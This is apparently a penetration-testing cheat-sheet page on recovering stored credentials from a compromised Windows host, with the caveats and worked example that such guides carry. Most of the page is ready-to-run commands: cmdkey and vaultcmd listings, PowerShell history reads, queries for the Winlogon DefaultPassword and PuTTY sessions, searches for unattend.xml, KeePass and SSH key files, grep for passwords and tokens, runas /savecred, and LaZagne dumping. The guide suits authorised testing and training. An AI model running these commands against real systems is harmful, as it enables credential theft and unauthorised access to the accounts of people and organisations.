Recover Windows application, history and stored-credential artifacts
Needs: Artifact read permission and exact protecting identity/context for saved or DPAPI material
Stored credentials and PowerShell trails
REM Stored credentials and PowerShell trails
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
Stored credentials and PowerShell trails
# Stored credentials and PowerShell trails
$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message
Targeted application/file/registry search
REM Targeted application/file/registry search
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul
Targeted application/file/registry search
# Targeted application/file/registry search
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false
Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.
Saved credential consumer
REM Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe
Use only when
cmdkey/context supports that identity and logon type.runasdoes not inherently bypass UAC; verify the resulting token withwhoami /all.
LaZagne — recover application credentials in the current user's context
Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.
REM LaZagne — recover application credentials in the current user's context
REM Browser-store leads for the current user
laZagne.exe browsers
REM Broader recovery, with a local text report
laZagne.exe all -oN
Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.
LaZagne — recover application credentials in the current user's context
# LaZagne — recover application credentials in the current user's context
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match 'pass|cred|config|backup|unattend|\.env' }
# LaZagne — recover application credentials in the current user's context
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd' } |
Select-String -Pattern 'password|passwd|secret|token|connectionString' -CaseSensitive:$false
Verify → Tie each value to a source/account/service and verify any new token with whoami /all.
If it fails → Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route. More detail ↓
Explanation & examples
Recover Windows application, history and stored-credential artifacts
- USE WHEN
- Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries
- STARTING ACCESS
- A verified Windows foothold with a known token, integrity level and groups
- RESULT
- Typed secret material or a verified saved-credential consumer transition
Recognize the clue
Follow actual application/configuration paths, PSReadLine history and saved-credential targets under the current readable user context.
cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
cmdkey target: Domain:target=TARGET_HOST
User: DOMAIN\USER
Password: not displayedMeans: A target-bound saved credential is a possible consumer capability, not a plaintext password.
Confirm: Establish protecting user/context, intended logon type and an actually permitted saved-credential or decryption route.
- After validation
- The matching consumer accepts the credential and the resulting token is checked: use that access.
- Ruled out in this context
- The stored entry belongs to another context/target and cannot be used here: reject that transition.
- Still inconclusive
- A protected blob/listing without keys or consumer evidence leaves usable credentials unproved.
Troubleshooting: Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.
Additional prerequisite checks
cmdkey /list
whoami /all
Stored credentials and PowerShell trails
A
cmdkeyentry is target/context-bound and does not reveal a password. DPAPI-protected data needs the protecting user/machine context and keys.Clear-Historydoes not necessarily clear PSReadLine's saved file.
Targeted application/file/registry search
Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.
Saved credential consumer
Use only when
cmdkey/context supports that identity and logon type.runasdoes not inherently bypass UAC; verify the resulting token withwhoami /all.
LaZagne — recover application credentials in the current user's context
Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.
Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.
Avoid searching the entire filesystem without a reason; scope reduces noise, access errors and sensitive-data overcollection.
Why it works
A cmdkey entry proves a target-bound stored credential, not plaintext disclosure. Saved-credential use and DPAPI decryption require matching contexts; runas does not inherently bypass UAC.
Worked example · hypothetical
Observation: a history file contains a service password. Test: identify its account scope and compatible service. Illustrative output: the password grants a remote share but not local elevation. Interpretation: re-enumerate that share and preserve identity context.
New identity, privilege, host or route? Re-enumerate → All topic tasks →